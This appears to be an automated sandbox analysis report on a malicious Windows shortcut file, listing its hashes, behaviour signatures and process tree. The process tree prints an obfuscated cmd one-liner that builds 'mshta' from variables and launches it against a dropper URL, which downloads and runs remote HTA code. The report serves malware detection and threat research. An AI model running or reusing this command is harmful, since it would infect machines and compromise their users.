Analysis
- max time kernel
60s - max time network
29s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
22/08/2026, 03:46
Static task
static1
Behavioral task
behavioral1
Sample
DOC-WN9UQ1.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-WN9UQ1.lnk
Resource
win11ltsc2024-20260710-en
3 signatures
60 seconds
General
- Target DOC-WN9UQ1.lnk
- Size 1KB
- Sample260822-eb5j2avwdv
- SHA256 2852a946bffce180f3848e8e0725495a80f3df335132fd60a8770216117f601f
- MD5 bdfdb9c9917e0acb00423202a0eec140
- SHA1 01278601ad5c44921508d3260c85786c6e798986
- SHA512 41e008630e22c88821d8e774958366467c500ce3c89fbfc42e49f2f2e9cab5b5fa49d29ada41b0cf97f0952d234605adfc9922bb421f2edc5e063a57ff644813
- TLSH T1663197403EFD0664F3B38F7685BB572089BFB8568E10C62D0140854D5532A15E67AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3532 cmd.exe 1236 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3532 wrote to memory of 1236 3532 cmd.exe 90 PID 1236 wrote to memory of 5864 1236 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-WN9UQ1.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3532 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set DPPpm=msh&&set AB=ta&&start "" !DPPpm!!AB! https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1236 -
C:\Windows\System32\mshta.exemshta https://documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:5864
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